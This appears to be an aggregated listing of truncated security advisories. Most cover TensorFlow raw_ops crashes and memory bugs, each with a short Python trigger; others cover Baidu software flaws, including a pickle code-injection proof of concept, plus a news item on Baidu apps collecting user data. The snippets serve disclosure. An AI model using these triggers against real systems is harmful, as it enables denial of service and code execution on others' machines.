CHECK-fail in tf.raw_ops.EncodePng

Impact An attacker can trigger a CHECK fail in PNG encoding by providing an empty input tensor as the pixel data: python import tensorflow as tf image = tf.zeros0, 0, 3 image = tf.castimage, dtype=tf.uint8 tf.rawops.EncodePngimage=image This is because the implementation only validates that the...

Invalid validation in `SparseMatrixSparseCholesky`

Impact An attacker can trigger a null pointer dereference by providing an invalid permutation to tf.rawops.SparseMatrixSparseCholesky: python import tensorflow as tf import numpy as np from tensorflow.python.ops.linalg.sparse import sparsecsrmatrixops indicesarray = np.array0, 0 valuearray =...

Heap buffer overflow caused by rounding

Impact An attacker can trigger a heap buffer overflow in tf.rawops.QuantizedResizeBilinear by manipulating input values so that float rounding results in off-by-one error in accessing image elements: python import tensorflow as tf l = 256, 328, 361, 17, 361, 361, 361, 361, 361, 361, 361, 361, 361...

Division by 0 in `QuantizedMul`

Impact An attacker can trigger a division by 0 in tf.rawops.QuantizedMul: python import tensorflow as tf x = tf.zeros4, 1, dtype=tf.quint8 y = tf.constant, dtype=tf.quint8 minx = tf.constant0.0 maxx = tf.constant0.0010000000474974513 miny = tf.constant0.0 maxy = tf.constant0.0010000000474974513...

Division by 0 in `QuantizedConv2D`

Impact An attacker can trigger a division by 0 in tf.rawops.QuantizedConv2D: python import tensorflow as tf input = tf.zeros1, 1, 1, 1, dtype=tf.quint8 filter = tf.constant, shape=1, 0, 1, 1, dtype=tf.quint8 mininput = tf.constant0.0 maxinput = tf.constant0.0001 minfilter = tf.constant0.0 maxfilt...

Division by 0 in `Conv2D`

Impact An attacker can trigger a division by 0 in tf.rawops.Conv2D: python import tensorflow as tf input = tf.constant, shape=0, 0, 0, 0, dtype=tf.float32 filter = tf.constant, shape=0, 0, 0, 0, dtype=tf.float32 strides = 1, 1, 1, 1 padding = "SAME" tf.rawops.Conv2Dinput=input, filter=filter,...

Division by 0 in `Conv2DBackpropInput`

Impact An attacker can trigger a division by 0 in tf.rawops.Conv2DBackpropInput: python import tensorflow as tf inputtensor = tf.constant52, 1, 1, 5, shape=4, dtype=tf.int32 filtertensor = tf.constant, shape=0, 1, 5, 0, dtype=tf.float32 outbackprop = tf.constant, shape=52, 1, 1, 0, dtype=tf.float...

Division by 0 in `Conv2DBackpropFilter`

Impact An attacker can trigger a division by 0 in tf.rawops.Conv2DBackpropFilter: python import tensorflow as tf inputtensor = tf.constant, shape=0, 0, 1, 0, dtype=tf.float32 filtersizes = tf.constant1, 1, 1, 1, shape=4, dtype=tf.int32 outbackprop = tf.constant, shape=0, 0, 1, 1, dtype=tf.float32...

Division by 0 in `Conv3DBackprop*`

Impact The tf.rawops.Conv3DBackprop operations fail to validate that the input tensors are not empty. In turn, this would result in a division by 0: python import tensorflow as tf inputsizes = tf.constant0, 0, 0, 0, 0, shape=5, dtype=tf.int32 filtertensor = tf.constant, shape=0, 0, 0, 1, 0,...

Heap buffer overflow in `Conv3DBackprop*`

Impact Missing validation between arguments to tf.rawops.Conv3DBackprop operations can result in heap buffer overflows: python import tensorflow as tf inputsizes = tf.constant1, 1, 1, 1, 2, shape=5, dtype=tf.int32 filtertensor = tf.constant734.6274508233133, -10.0, -10.0, -10.0, -10.0, -10.0,...

CHECK-fail in SparseCross due to type confusion

Impact The API of tf.rawops.SparseCross allows combinations which would result in a CHECK-failure and denial of service: python import tensorflow as tf hashedoutput = False numbuckets = 1949315406 hashkey = 1869835877 outtype = tf.string internaltype = tf.string indices1 = tf.constant0, 6, shape=...

Division by zero in `Conv3D`

Impact A malicious user could trigger a division by 0 in Conv3D implementation: python import tensorflow as tf inputtensor = tf.constant, shape=0, 0, 0, 0, 0, dtype=tf.float32 filtertensor = tf.constant, shape=0, 0, 0, 0, 0, dtype=tf.float32 tf.rawops.Conv3Dinput=inputtensor, filter=filtertensor,...

Null pointer dereference via invalid Ragged Tensors

Impact Calling tf.rawops.RaggedTensorToVariant with arguments specifying an invalid ragged tensor results in a null pointer dereference: python import tensorflow as tf inputtensor = tf.constant, shape=0, 0, 0, 0, 0, dtype=tf.float32 filtertensor = tf.constant, shape=0, 0, 0, 0, 0, dtype=tf.float3...

PT-2021-18313 · Google · Tensorflow

Name of the Vulnerable Software and Affected Versions: TensorFlow versions prior to 2.5.0 TensorFlow version 2.4.2 TensorFlow version 2.3.3 TensorFlow version 2.2.3 TensorFlow version 2.1.4 Description: An attacker can cause a denial of service by exploiting a CHECK-failure coming from the...

Directory Traversal Vulnerability in Apollo of Baidu Online Network Technology (Beijing) Co.

Apollo is an autonomous driving program released by Baidu that includes an open platform and an enterprise version of the solution. A directory traversal vulnerability exists in Apollo of Baidu Online Network Technology Beijing Co. that can be exploited by attackers to obtain sensitive informatio...

Baidu Smart Monitor - Unauthorized Access Vulnerability in Frame Drawing Software

Ltd. is a company under Baidu, with several business lines such as web search, hao123 and Baidu promotion. Unauthorized access vulnerability exists in Baidu Intelligent Monitor - Frame Drawing software, which can be exploited by attackers to obtain sensitive information...

Code Injection in baidu/cup

Description CUP, common useful python-lib. Currently, Most popular python lib in baidu Vulnerability description untrusted loading of data by the pickle.load function leading to Arbitrary code execution. Proof of Concept Run exploit.py import os import pickle os.system'pip3 install cup' from...

Nantong Baidu's website builder system suffers from SQL injection vulnerability

The business scope of Nantong Shouping Information Technology Co., Ltd. includes: research and development and sales of computer software and hardware; Internet technology services, etc. There is a SQL injection vulnerability in the website building system of Nantong Baidu Company, which can be...

Baidu.com PC version suffers from dll hijacking vulnerability

Baidu.com is a cloud service product. A dll hijacking vulnerability exists in the PC version of Baidu.com Disk. An attacker can exploit the vulnerability to load a malicious dll and execute malicious code...

China's Baidu Android Apps Caught Collecting Sensitive User Data

Two popular Android apps from Chinese tech giant Baidu were temporarily unavailable on the Google Play Store in October after they were caught collecting sensitive user details. The two apps in question—Baidu Maps and Baidu Search Box —were found to collect device identifiers, such as the...